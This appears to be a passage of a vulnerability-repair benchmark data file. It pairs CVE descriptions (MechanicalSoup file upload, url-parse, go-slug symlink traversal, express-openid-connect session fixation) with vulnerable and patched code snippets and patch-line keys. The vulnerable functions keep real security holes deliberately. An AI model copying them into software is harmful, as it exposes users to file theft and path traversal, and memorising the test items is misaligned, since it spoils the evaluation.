                "snippet": "    @classmethod\n    def get_request_kwargs(cls, form, url=None, **kwargs):\n        \"\"\"Extract input data from the form.\"\"\"\n        method = str(form.get(\"method\", \"get\"))\n        action = form.get(\"action\")\n        url = urllib.parse.urljoin(url, action)\n        if url is None:  # This happens when both `action` and `url` are None.\n            raise ValueError('no URL to submit to')\n\n        # read https://www.w3.org/TR/html52/sec-forms.html\n        if method.lower() == \"get\":\n            data = kwargs.pop(\"params\", dict())\n        else:\n            data = kwargs.pop(\"data\", dict())\n        files = kwargs.pop(\"files\", dict())\n\n        # Use a list of 2-tuples to better reflect the behavior of browser QSL.\n        # Requests also retains order when encoding form data in 2-tuple lists.\n        data = [(k, v) for k, v in data.items()]\n\n        multipart = form.get(\"enctype\", \"\") == \"multipart/form-data\"\n\n        # Process form tags in the order that they appear on the page,\n        # skipping those tags that do not have a name-attribute.\n        selector = \",\".join(f\"{tag}[name]\" for tag in\n                            (\"input\", \"button\", \"textarea\", \"select\"))\n        for tag in form.select(selector):\n            name = tag.get(\"name\")  # name-attribute of tag\n\n            # Skip disabled elements, since they should not be submitted.\n            if tag.has_attr('disabled'):\n                continue\n\n            if tag.name == \"input\":\n                if tag.get(\"type\", \"\").lower() in (\"radio\", \"checkbox\"):\n                    if \"checked\" not in tag.attrs:\n                        continue\n                    value = tag.get(\"value\", \"on\")\n                else:\n                    # browsers use empty string for inputs with missing values\n                    value = tag.get(\"value\", \"\")\n\n                # If the enctype is not multipart, the filename is put in\n                # the form as a text input and the file is not sent.\n                if tag.get(\"type\", \"\").lower() == \"file\" and multipart:\n                    filepath = value\n                    if filepath != \"\" and isinstance(filepath, str):\n                        content = open(filepath, \"rb\")\n                    else:\n                        content = \"\"\n                    filename = os.path.basename(filepath)\n                    # If value is the empty string, we still pass it\n                    # for consistency with browsers (see\n                    # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).\n                    files[name] = (filename, content)\n                else:\n                    data.append((name, value))\n\n            elif tag.name == \"button\":\n                if tag.get(\"type\", \"\").lower() in (\"button\", \"reset\"):\n                    continue\n                else:\n                    data.append((name, tag.get(\"value\", \"\")))\n\n            elif tag.name == \"textarea\":\n                data.append((name, tag.text))\n\n            elif tag.name == \"select\":\n                # If the value attribute is not specified, the content will\n                # be passed as a value instead.\n                options = tag.select(\"option\")\n                selected_values = [i.get(\"value\", i.text) for i in options\n                                   if \"selected\" in i.attrs]\n                if \"multiple\" in tag.attrs:\n                    for value in selected_values:\n                        data.append((name, value))\n                elif selected_values:\n                    # A standard select element only allows one option to be\n                    # selected, but browsers pick last if somehow multiple.\n                    data.append((name, selected_values[-1]))\n                elif options:\n                    # Selects the first option if none are selected\n                    first_value = options[0].get(\"value\", options[0].text)\n                    data.append((name, first_value))\n\n        if method.lower() == \"get\":\n            kwargs[\"params\"] = data\n        else:\n            kwargs[\"data\"] = data\n\n        # The following part of the function is here to respect the\n        # enctype specified by the form, i.e. force sending multipart\n        # content. Since Requests doesn't have yet a feature to choose\n        # enctype, we have to use tricks to make it behave as we want\n        # This code will be updated if Requests implements it.\n        if multipart and not files:\n            # Requests will switch to \"multipart/form-data\" only if\n            # files pass the `if files:` test, so in this case we use\n            # a modified dict that passes the if test even if empty.\n            class DictThatReturnsTrue(dict):\n                def __bool__(self):\n                    return True\n                __nonzero__ = __bool__\n\n            files = DictThatReturnsTrue()\n\n        return cls._get_request_kwargs(method, url, files=files, **kwargs)",
                "vul_localization": [
                    {
                        "patch_lines": [
                            45,
                            46,
                            47,
                            48
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            51,
                            52
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            56
                        ],
                        "tag": "add"
                    }
                ]
            },
            {
                "id": "vul_py_66_2",
                "commit": "b9c8a0c",
                "file_path": "mechanicalsoup/form.py",
                "start_line": 242,
                "end_line": 281,
                "snippet": "    def set(self, name, value, force=False):\n        \"\"\"Set a form element identified by ``name`` to a specified ``value``.\n        The type of element (input, textarea, select, ...) does not\n        need to be given; it is inferred by the following methods:\n        :func:`~Form.set_checkbox`,\n        :func:`~Form.set_radio`,\n        :func:`~Form.set_input`,\n        :func:`~Form.set_textarea`,\n        :func:`~Form.set_select`.\n        If none of these methods find a matching element, then if ``force``\n        is True, a new element (````) will be\n        added using :func:`~Form.new_control`.\n\n        Example: filling-in a login/password form with EULA checkbox\n\n        .. code-block:: python\n\n            form.set(\"login\", username)\n            form.set(\"password\", password)\n            form.set(\"eula-checkbox\", True)\n\n        Example: uploading a file through a ```` field (provide the path to the local file,\n        and its content will be uploaded):\n\n        .. code-block:: python\n\n            form.set(\"tagname\", path_to_local_file)\n\n        \"\"\"\n        for func in (\"checkbox\", \"radio\", \"input\", \"textarea\", \"select\"):\n            try:\n                getattr(self, \"set_\" + func)({name: value})\n                return\n            except InvalidFormMethod:\n                pass\n        if force:\n            self.new_control('text', name, value=value)\n            return\n        raise LinkNotFoundError(\"No valid element named \" + name)",
                "vul_localization": [
                    {
                        "patch_lines": [
                            23
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            28
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_py_66_3",
                "commit": "b9c8a0c",
                "file_path": "mechanicalsoup/form.py",
                "start_line": 283,
                "end_line": 304,
                "snippet": "    def new_control(self, type, name, value, **kwargs):\n        \"\"\"Add a new input element to the form.\n\n        The arguments set the attributes of the new element.\n        \"\"\"\n        # Remove existing input-like elements with the same name\n        for tag in ('input', 'textarea', 'select'):\n            for old in self.form.find_all(tag, {'name': name}):\n                old.decompose()\n        # We don't have access to the original soup object (just the\n        # Tag), so we instantiate a new BeautifulSoup() to call\n        # new_tag(). We're only building the soup object, not parsing\n        # anything, so the parser doesn't matter. Specify the one\n        # included in Python to avoid having dependency issue.\n        control = BeautifulSoup(\"\", \"html.parser\").new_tag('input')\n        control['type'] = type\n        control['name'] = name\n        control['value'] = value\n        for k, v in kwargs.items():\n            control[k] = v\n        self.form.append(control)\n        return control",
                "vul_localization": [
                    {
                        "patch_lines": [
                            20
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_66_1",
                "commit": "d57c4a269bba3b9a0c5bfa20292955b849006d9e",
                "file_path": "mechanicalsoup/browser.py",
                "start_line": 188,
                "end_line": 296,
                "snippet": "    @classmethod\n    def get_request_kwargs(cls, form, url=None, **kwargs):\n        \"\"\"Extract input data from the form.\"\"\"\n        method = str(form.get(\"method\", \"get\"))\n        action = form.get(\"action\")\n        url = urllib.parse.urljoin(url, action)\n        if url is None:  # This happens when both `action` and `url` are None.\n            raise ValueError('no URL to submit to')\n\n        # read https://www.w3.org/TR/html52/sec-forms.html\n        if method.lower() == \"get\":\n            data = kwargs.pop(\"params\", dict())\n        else:\n            data = kwargs.pop(\"data\", dict())\n        files = kwargs.pop(\"files\", dict())\n\n        # Use a list of 2-tuples to better reflect the behavior of browser QSL.\n        # Requests also retains order when encoding form data in 2-tuple lists.\n        data = [(k, v) for k, v in data.items()]\n\n        multipart = form.get(\"enctype\", \"\") == \"multipart/form-data\"\n\n        # Process form tags in the order that they appear on the page,\n        # skipping those tags that do not have a name-attribute.\n        selector = \",\".join(f\"{tag}[name]\" for tag in\n                            (\"input\", \"button\", \"textarea\", \"select\"))\n        for tag in form.select(selector):\n            name = tag.get(\"name\")  # name-attribute of tag\n\n            # Skip disabled elements, since they should not be submitted.\n            if tag.has_attr('disabled'):\n                continue\n\n            if tag.name == \"input\":\n                if tag.get(\"type\", \"\").lower() in (\"radio\", \"checkbox\"):\n                    if \"checked\" not in tag.attrs:\n                        continue\n                    value = tag.get(\"value\", \"on\")\n                else:\n                    # browsers use empty string for inputs with missing values\n                    value = tag.get(\"value\", \"\")\n\n                # If the enctype is not multipart, the filename is put in\n                # the form as a text input and the file is not sent.\n                if is_multipart_file_upload(form, tag):\n                    if isinstance(value, io.IOBase):\n                        content = value\n                        filename = os.path.basename(getattr(value, \"name\", \"\"))\n                    else:\n                        content = \"\"\n                        filename = os.path.basename(value)\n                    # If content is the empty string, we still pass it\n                    # for consistency with browsers (see\n                    # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).\n                    files[name] = (filename, content)\n                else:\n                    if isinstance(value, io.IOBase):\n                        value = os.path.basename(getattr(value, \"name\", \"\"))\n                    data.append((name, value))\n\n            elif tag.name == \"button\":\n                if tag.get(\"type\", \"\").lower() in (\"button\", \"reset\"):\n                    continue\n                else:\n                    data.append((name, tag.get(\"value\", \"\")))\n\n            elif tag.name == \"textarea\":\n                data.append((name, tag.text))\n\n            elif tag.name == \"select\":\n                # If the value attribute is not specified, the content will\n                # be passed as a value instead.\n                options = tag.select(\"option\")\n                selected_values = [i.get(\"value\", i.text) for i in options\n                                   if \"selected\" in i.attrs]\n                if \"multiple\" in tag.attrs:\n                    for value in selected_values:\n                        data.append((name, value))\n                elif selected_values:\n                    # A standard select element only allows one option to be\n                    # selected, but browsers pick last if somehow multiple.\n                    data.append((name, selected_values[-1]))\n                elif options:\n                    # Selects the first option if none are selected\n                    first_value = options[0].get(\"value\", options[0].text)\n                    data.append((name, first_value))\n\n        if method.lower() == \"get\":\n            kwargs[\"params\"] = data\n        else:\n            kwargs[\"data\"] = data\n\n        # The following part of the function is here to respect the\n        # enctype specified by the form, i.e. force sending multipart\n        # content. Since Requests doesn't have yet a feature to choose\n        # enctype, we have to use tricks to make it behave as we want\n        # This code will be updated if Requests implements it.\n        if multipart and not files:\n            # Requests will switch to \"multipart/form-data\" only if\n            # files pass the `if files:` test, so in this case we use\n            # a modified dict that passes the if test even if empty.\n            class DictThatReturnsTrue(dict):\n                def __bool__(self):\n                    return True\n                __nonzero__ = __bool__\n\n            files = DictThatReturnsTrue()\n\n        return cls._get_request_kwargs(method, url, files=files, **kwargs)"
            },
            {
                "id": "fix_py_66_2",
                "commit": "d57c4a269bba3b9a0c5bfa20292955b849006d9e",
                "file_path": "mechanicalsoup/form.py",
                "start_line": 244,
                "end_line": 283,
                "snippet": "    def set(self, name, value, force=False):\n        \"\"\"Set a form element identified by ``name`` to a specified ``value``.\n        The type of element (input, textarea, select, ...) does not\n        need to be given; it is inferred by the following methods:\n        :func:`~Form.set_checkbox`,\n        :func:`~Form.set_radio`,\n        :func:`~Form.set_input`,\n        :func:`~Form.set_textarea`,\n        :func:`~Form.set_select`.\n        If none of these methods find a matching element, then if ``force``\n        is True, a new element (````) will be\n        added using :func:`~Form.new_control`.\n\n        Example: filling-in a login/password form with EULA checkbox\n\n        .. code-block:: python\n\n            form.set(\"login\", username)\n            form.set(\"password\", password)\n            form.set(\"eula-checkbox\", True)\n\n        Example: uploading a file through a ```` field (provide an open file object,\n        and its content will be uploaded):\n\n        .. code-block:: python\n\n            form.set(\"tagname\", open(path_to_local_file, \"rb\"))\n\n        \"\"\"\n        for func in (\"checkbox\", \"radio\", \"input\", \"textarea\", \"select\"):\n            try:\n                getattr(self, \"set_\" + func)({name: value})\n                return\n            except InvalidFormMethod:\n                pass\n        if force:\n            self.new_control('text', name, value=value)\n            return\n        raise LinkNotFoundError(\"No valid element named \" + name)"
            },
            {
                "id": "fix_py_66_3",
                "commit": "d57c4a269bba3b9a0c5bfa20292955b849006d9e",
                "file_path": "mechanicalsoup/form.py",
                "start_line": 285,
                "end_line": 307,
                "snippet": "    def new_control(self, type, name, value, **kwargs):\n        \"\"\"Add a new input element to the form.\n\n        The arguments set the attributes of the new element.\n        \"\"\"\n        # Remove existing input-like elements with the same name\n        for tag in ('input', 'textarea', 'select'):\n            for old in self.form.find_all(tag, {'name': name}):\n                old.decompose()\n        # We don't have access to the original soup object (just the\n        # Tag), so we instantiate a new BeautifulSoup() to call\n        # new_tag(). We're only building the soup object, not parsing\n        # anything, so the parser doesn't matter. Specify the one\n        # included in Python to avoid having dependency issue.\n        control = BeautifulSoup(\"\", \"html.parser\").new_tag('input')\n        control['type'] = type\n        control['name'] = name\n        control['value'] = value\n        for k, v in kwargs.items():\n            control[k] = v\n        self._assert_valid_file_upload(control, value)\n        self.form.append(control)\n        return control"
            },
            {
                "id": "fix_py_66_4",
                "commit": "d57c4a269bba3b9a0c5bfa20292955b849006d9e",
                "file_path": "mechanicalsoup/utils.py",
                "start_line": 19,
                "end_line": 23,
                "snippet": "def is_multipart_file_upload(form, tag):\n    return (\n        form.get(\"enctype\", \"\") == \"multipart/form-data\" and\n        tag.get(\"type\", \"\").lower() == \"file\"\n    )"
            },
            {
                "id": "fix_py_66_5",
                "commit": "d57c4a269bba3b9a0c5bfa20292955b849006d9e",
                "file_path": "mechanicalsoup/form.py",
                "start_line": 390,
                "end_line": 402,
                "snippet": "    def _assert_valid_file_upload(self, tag, value):\n        \"\"\"Raise an exception if a multipart file input is not an open file.\"\"\"\n        if (\n            is_multipart_file_upload(self.form, tag) and\n            not isinstance(value, io.IOBase)\n        ):\n            raise ValueError(\n                \"From v1.3.0 onwards, you must pass an open file object \"\n                'directly, e.g. `form[\"name\"] = open(\"/path/to/file\", \"rb\")`. '\n                \"This change is to remediate a security vulnerability where \"\n                \"a malicious web server could read arbitrary files from the \"\n                \"client (CVE-2023-34457).\"\n            )"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2023-34457"
    },
    {
        "cve_id": "CVE-2022-0686",
        "cve_description": "The url-parse package incorrectly handles special URL authority parsing when a URL contains an empty port separator or an ambiguous repeated colon after the host. Crafted URLs such as http://example.com: and http://example.com:: can produce inconsistent protocol, host, hostname, port, pathname, origin, or href values. Applications that rely on these parsed fields for origin or authorization decisions can be bypassed when malformed authority components are normalized incorrectly or diverge from browser-compatible URL parsing semantics.",
        "cwe_info": {
            "CWE-862": {
                "name": "Missing Authorization",
                "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."
            },
            "CWE-639": {
                "name": "Authorization Bypass Through User-Controlled Key",
                "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."
            }
        },
        "repo": "https://github.com/unshiftio/url-parse",
        "patch_url": [
            "https://github.com/unshiftio/url-parse/commit/d5c64791ef496ca5459ae7f2176a31ea53b127e5"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_35_1",
                "commit": "4f2ae67",
                "file_path": "index.js",
                "start_line": 33,
                "end_line": 44,
                "snippet": "var rules = [\n  ['#', 'hash'],                        // Extract from the back.\n  ['?', 'query'],                       // Extract from the back.\n  function sanitize(address, url) {     // Sanitize what is left of the address\n    return isSpecial(url.protocol) ? address.replace(/\\\\/g, '/') : address;\n  },\n  ['/', 'pathname'],                    // Extract from the back.\n  ['@', 'auth', 1],                     // Extract from the front.\n  [NaN, 'host', undefined, 1, 1],       // Set left over value.\n  [/:(\\d+)$/, 'port', undefined, 1],    // RegExp the back.\n  [NaN, 'hostname', undefined, 1, 1]    // Set left over.\n];",
                "vul_localization": [
                    {
                        "patch_lines": [
                            10
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_js_35_2",
                "commit": "4f2ae67",
                "file_path": "index.js",
                "start_line": 522,
                "end_line": 563,
                "snippet": "function toString(stringify) {\n  if (!stringify || 'function' !== typeof stringify) stringify = qs.stringify;\n\n  var query\n    , url = this\n    , protocol = url.protocol;\n\n  if (protocol && protocol.charAt(protocol.length - 1) !== ':') protocol += ':';\n\n  var result =\n    protocol +\n    ((url.protocol && url.slashes) || isSpecial(url.protocol) ? '//' : '');\n\n  if (url.username) {\n    result += url.username;\n    if (url.password) result += ':'+ url.password;\n    result += '@';\n  } else if (url.password) {\n    result += ':'+ url.password;\n    result += '@';\n  } else if (\n    url.protocol !== 'file:' &&\n    isSpecial(url.protocol) &&\n    !url.host &&\n    url.pathname !== '/'\n  ) {\n    //\n    // Add back the empty userinfo, otherwise the original invalid URL\n    // might be transformed into a valid one with `url.pathname` as host.\n    //\n    result += '@';\n  }\n\n  result += url.host + url.pathname;\n\n  query = 'object' === typeof url.query ? stringify(url.query) : url.query;\n  if (query) result += '?' !== query.charAt(0) ? '?'+ query : query;\n\n  if (url.hash) result += url.hash;\n\n  return result;\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            34
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_35_1",
                "commit": "d5c6479",
                "file_path": "index.js",
                "start_line": 33,
                "end_line": 44,
                "snippet": "var rules = [\n  ['#', 'hash'],                        // Extract from the back.\n  ['?', 'query'],                       // Extract from the back.\n  function sanitize(address, url) {     // Sanitize what is left of the address\n    return isSpecial(url.protocol) ? address.replace(/\\\\/g, '/') : address;\n  },\n  ['/', 'pathname'],                    // Extract from the back.\n  ['@', 'auth', 1],                     // Extract from the front.\n  [NaN, 'host', undefined, 1, 1],       // Set left over value.\n  [/:(\\d*)$/, 'port', undefined, 1],    // RegExp the back.\n  [NaN, 'hostname', undefined, 1, 1]    // Set left over.\n];"
            },
            {
                "id": "fix_js_35_2",
                "commit": "d5c6479",
                "file_path": "index.js",
                "start_line": 522,
                "end_line": 570,
                "snippet": "function toString(stringify) {\n  if (!stringify || 'function' !== typeof stringify) stringify = qs.stringify;\n\n  var query\n    , url = this\n    , host = url.host\n    , protocol = url.protocol;\n\n  if (protocol && protocol.charAt(protocol.length - 1) !== ':') protocol += ':';\n\n  var result =\n    protocol +\n    ((url.protocol && url.slashes) || isSpecial(url.protocol) ? '//' : '');\n\n  if (url.username) {\n    result += url.username;\n    if (url.password) result += ':'+ url.password;\n    result += '@';\n  } else if (url.password) {\n    result += ':'+ url.password;\n    result += '@';\n  } else if (\n    url.protocol !== 'file:' &&\n    isSpecial(url.protocol) &&\n    !host &&\n    url.pathname !== '/'\n  ) {\n    //\n    // Add back the empty userinfo, otherwise the original invalid URL\n    // might be transformed into a valid one with `url.pathname` as host.\n    //\n    result += '@';\n  }\n\n  //\n  // Trailing colon is removed from `url.host` when it is parsed. If it still\n  // ends with a colon, then add back the trailing colon that was removed. This\n  // prevents an invalid URL from being transformed into a valid one.\n  //\n  if (host[host.length - 1] === ':') host += ':';\n  result += host + url.pathname;\n\n  query = 'object' === typeof url.query ? stringify(url.query) : url.query;\n  if (query) result += '?' !== query.charAt(0) ? '?'+ query : query;\n\n  if (url.hash) result += url.hash;\n\n  return result;\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-0686"
    },
    {
        "cve_id": "CVE-2020-29529",
        "cve_description": "HashiCorp go-slug's archive unpacking logic is vulnerable to directory traversal when extracting attacker-controlled gzip-compressed tar slug archives. A malicious archive can create symlinks inside the destination directory and then include later file or directory entries whose paths traverse through those symlinks, including multi-step symlink chains, causing extraction to materialize files outside the intended unpack destination. This can allow an attacker who supplies a slug archive to create or overwrite files elsewhere on the filesystem with the privileges of the unpacking process.",
        "cwe_info": {
            "CWE-73": {
                "name": "External Control of File Name or Path",
                "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."
            },
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/hashicorp/go-slug",
        "patch_url": [
            "https://github.com/hashicorp/go-slug/commit/764785bc4cbb9e600ad1cf1a6bd21b535c182983",
            "https://github.com/hashicorp/go-slug/commit/28cafc59c8da6126a3ae94dfa84181df4073454f"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_24_1",
                "commit": "dbc66eb",
                "file_path": "slug.go",
                "start_line": 206,
                "end_line": 303,
                "snippet": "func Unpack(r io.Reader, dst string) error {\n\t// Decompress as we read.\n\tuncompressed, err := gzip.NewReader(r)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to uncompress slug: %v\", err)\n\t}\n\n\t// Untar as we read.\n\tuntar := tar.NewReader(uncompressed)\n\n\t// Unpackage all the contents into the directory.\n\tfor {\n\t\theader, err := untar.Next()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Failed to untar slug: %v\", err)\n\t\t}\n\n\t\t// Get rid of absolute paths.\n\t\tpath := header.Name\n\t\tif path[0] == '/' {\n\t\t\tpath = path[1:]\n\t\t}\n\t\tpath = filepath.Join(dst, path)\n\n\t\t// Make the directories to the path.\n\t\tdir := filepath.Dir(path)\n\t\tif err := os.MkdirAll(dir, 0755); err != nil {\n\t\t\treturn fmt.Errorf(\"Failed to create directory %q: %v\", dir, err)\n\t\t}\n\n\t\t// Handle symlinks.\n\t\tif header.Typeflag == tar.TypeSymlink {\n\t\t\t// Disallow absolute targets.\n\t\t\tif filepath.IsAbs(header.Linkname) {\n\t\t\t\treturn fmt.Errorf(\"Invalid symlink (%q -> %q) has absolute target\",\n\t\t\t\t\theader.Name, header.Linkname)\n\t\t\t}\n\n\t\t\t// Ensure the link target is within the destination directory. This\n\t\t\t// disallows providing symlinks to external files and directories.\n\t\t\ttarget := filepath.Join(dir, header.Linkname)\n\t\t\tif !strings.HasPrefix(target, dst) {\n\t\t\t\treturn fmt.Errorf(\"Invalid symlink (%q -> %q) has external target\",\n\t\t\t\t\theader.Name, header.Linkname)\n\t\t\t}\n\n\t\t\t// Create the symlink.\n\t\t\tif err := os.Symlink(header.Linkname, path); err != nil {\n\t\t\t\treturn fmt.Errorf(\"Failed creating symlink (%q -> %q): %v\",\n\t\t\t\t\theader.Name, header.Linkname, err)\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// Only unpack regular files from this point on.\n\t\tif header.Typeflag == tar.TypeDir {\n\t\t\tcontinue\n\t\t} else if header.Typeflag != tar.TypeReg && header.Typeflag != tar.TypeRegA {\n\t\t\treturn fmt.Errorf(\"Failed creating %q: unsupported type %c\", path,\n\t\t\t\theader.Typeflag)\n\t\t}\n\n\t\t// Open a handle to the destination.\n\t\tfh, err := os.Create(path)\n\t\tif err != nil {\n\t\t\t// This mimics tar's behavior wrt the tar file containing duplicate files\n\t\t\t// and it allowing later ones to clobber earlier ones even if the file\n\t\t\t// has perms that don't allow overwriting.\n\t\t\tif os.IsPermission(err) {\n\t\t\t\tos.Chmod(path, 0600)\n\t\t\t\tfh, err = os.Create(path)\n\t\t\t}\n\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"Failed creating file %q: %v\", path, err)\n\t\t\t}\n\t\t}\n\n\t\t// Copy the contents.\n\t\t_, err = io.Copy(fh, untar)\n\t\tfh.Close()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Failed to copy slug file %q: %v\", path, err)\n\t\t}\n\n\t\t// Restore the file mode. We have to do this after writing the file,\n\t\t// since it is possible we have a read-only mode.\n\t\tmode := header.FileInfo().Mode()\n\t\tif err := os.Chmod(path, mode); err != nil {\n\t\t\treturn fmt.Errorf(\"Failed setting permissions on %q: %v\", path, err)\n\t\t}\n\t}\n\treturn nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            27
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_24_1",
                "commit": "28cafc5",
                "file_path": "slug.go",
                "start_line": 206,
                "end_line": 341,
                "snippet": "func Unpack(r io.Reader, dst string) error {\n\t// Decompress as we read.\n\tuncompressed, err := gzip.NewReader(r)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to uncompress slug: %v\", err)\n\t}\n\n\t// Untar as we read.\n\tuntar := tar.NewReader(uncompressed)\n\n\t// Unpackage all the contents into the directory.\n\tfor {\n\t\theader, err := untar.Next()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Failed to untar slug: %v\", err)\n\t\t}\n\n\t\t// Get rid of absolute paths.\n\t\tpath := header.Name\n\t\tif path[0] == '/' {\n\t\t\tpath = path[1:]\n\t\t}\n\t\tpath = filepath.Join(dst, path)\n\n\t\t// Check for paths outside our directory, they are forbidden\n\t\ttarget := filepath.Clean(path)\n\t\tif !strings.HasPrefix(target, dst) {\n\t\t\treturn fmt.Errorf(\"Invalid filename, traversal with \\\"..\\\" outside of current directory\")\n\t\t}\n\n\t\t// Ensure the destination is not through any symlinks. This prevents\n\t\t// any files from being deployed through symlinks defined in the slug.\n\t\t// There are malicious cases where this could be used to escape the\n\t\t// slug's boundaries (zipslip), and any legitimate use is questionable\n\t\t// and likely indicates a hand-crafted tar file, which we are not in\n\t\t// the business of supporting here.\n\t\t//\n\t\t// The strategy is to Lstat each path  component from dst up to the\n\t\t// immediate parent directory of the file name in the tarball, checking\n\t\t// the mode on each to ensure we wouldn't be passing through any\n\t\t// symlinks.\n\t\tcurrentPath := dst // Start at the root of the unpacked tarball.\n\t\tcomponents := strings.Split(header.Name, \"/\")\n\n\t\tfor i := 0; i < len(components)-1; i++ {\n\t\t\tcurrentPath = filepath.Join(currentPath, components[i])\n\t\t\tfi, err := os.Lstat(currentPath)\n\t\t\tif os.IsNotExist(err) {\n\t\t\t\t// Parent directory structure is incomplete. Technically this\n\t\t\t\t// means from here upward cannot be a symlink, so we cancel the\n\t\t\t\t// remaining path tests.\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"Failed to evaluate path %q: %v\", header.Name, err)\n\t\t\t}\n\t\t\tif fi.Mode()&os.ModeSymlink != 0 {\n\t\t\t\treturn fmt.Errorf(\"Cannot extract %q through symlink\",\n\t\t\t\t\theader.Name)\n\t\t\t}\n\t\t}\n\n\t\t// Make the directories to the path.\n\t\tdir := filepath.Dir(path)\n\t\tif err := os.MkdirAll(dir, 0755); err != nil {\n\t\t\treturn fmt.Errorf(\"Failed to create directory %q: %v\", dir, err)\n\t\t}\n\n\t\t// Handle symlinks.\n\t\tif header.Typeflag == tar.TypeSymlink {\n\t\t\t// Disallow absolute targets.\n\t\t\tif filepath.IsAbs(header.Linkname) {\n\t\t\t\treturn fmt.Errorf(\"Invalid symlink (%q -> %q) has absolute target\",\n\t\t\t\t\theader.Name, header.Linkname)\n\t\t\t}\n\n\t\t\t// Ensure the link target is within the destination directory. This\n\t\t\t// disallows providing symlinks to external files and directories.\n\t\t\ttarget := filepath.Join(dir, header.Linkname)\n\t\t\tif !strings.HasPrefix(target, dst) {\n\t\t\t\treturn fmt.Errorf(\"Invalid symlink (%q -> %q) has external target\",\n\t\t\t\t\theader.Name, header.Linkname)\n\t\t\t}\n\n\t\t\t// Create the symlink.\n\t\t\tif err := os.Symlink(header.Linkname, path); err != nil {\n\t\t\t\treturn fmt.Errorf(\"Failed creating symlink (%q -> %q): %v\",\n\t\t\t\t\theader.Name, header.Linkname, err)\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// Only unpack regular files from this point on.\n\t\tif header.Typeflag == tar.TypeDir {\n\t\t\tcontinue\n\t\t} else if header.Typeflag != tar.TypeReg && header.Typeflag != tar.TypeRegA {\n\t\t\treturn fmt.Errorf(\"Failed creating %q: unsupported type %c\", path,\n\t\t\t\theader.Typeflag)\n\t\t}\n\n\t\t// Open a handle to the destination.\n\t\tfh, err := os.Create(path)\n\t\tif err != nil {\n\t\t\t// This mimics tar's behavior wrt the tar file containing duplicate files\n\t\t\t// and it allowing later ones to clobber earlier ones even if the file\n\t\t\t// has perms that don't allow overwriting.\n\t\t\tif os.IsPermission(err) {\n\t\t\t\tos.Chmod(path, 0600)\n\t\t\t\tfh, err = os.Create(path)\n\t\t\t}\n\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"Failed creating file %q: %v\", path, err)\n\t\t\t}\n\t\t}\n\n\t\t// Copy the contents.\n\t\t_, err = io.Copy(fh, untar)\n\t\tfh.Close()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Failed to copy slug file %q: %v\", path, err)\n\t\t}\n\n\t\t// Restore the file mode. We have to do this after writing the file,\n\t\t// since it is possible we have a read-only mode.\n\t\tmode := header.FileInfo().Mode()\n\t\tif err := os.Chmod(path, mode); err != nil {\n\t\t\treturn fmt.Errorf(\"Failed setting permissions on %q: %v\", path, err)\n\t\t}\n\t}\n\treturn nil\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-29529"
    },
    {
        "cve_id": "CVE-2021-41246",
        "cve_description": "Express OpenID Connect is vulnerable to session fixation during the OpenID Connect callback login flow. Before authentication completes, an attacker may be able to make a victim use an application session cookie or server-side session identifier that the attacker knows or controls, such as an anonymous pre-login session or a session associated with another principal. If a successful callback stores the newly authenticated user's session under that same client-visible cookie or server-side id, the attacker can continue using the fixed identifier to access or confuse the victim's authenticated session. A fix should treat any callback that establishes a new authenticated principal over an unauthenticated session or a different existing user as a security boundary: the authenticated session must be bound to a fresh client-visible session cookie or server-side session id, and the attacker-known pre-login id must not resolve to the newly authenticated user's credentials or session data. Implementations may destroy the old session record or leave it only as a non-promoted anonymous or previous-user session, and they may choose whether to preserve unrelated anonymous application state, but these choices must not allow the old fixed identifier to become valid for the new authenticated user. Clearing or overwriting selected session fields without rotating the identifier and preventing old-id promotion is not sufficient.",
        "cwe_info": {
            "CWE-384": {
                "name": "Session Fixation",
                "description": "Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions."
            }
        },
        "repo": "https://github.com/auth0/express-openid-connect",
        "patch_url": [
            "https://github.com/auth0/express-openid-connect/commit/5ab67ff2bd84f76674066b5e129b43ab5f2f430f"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
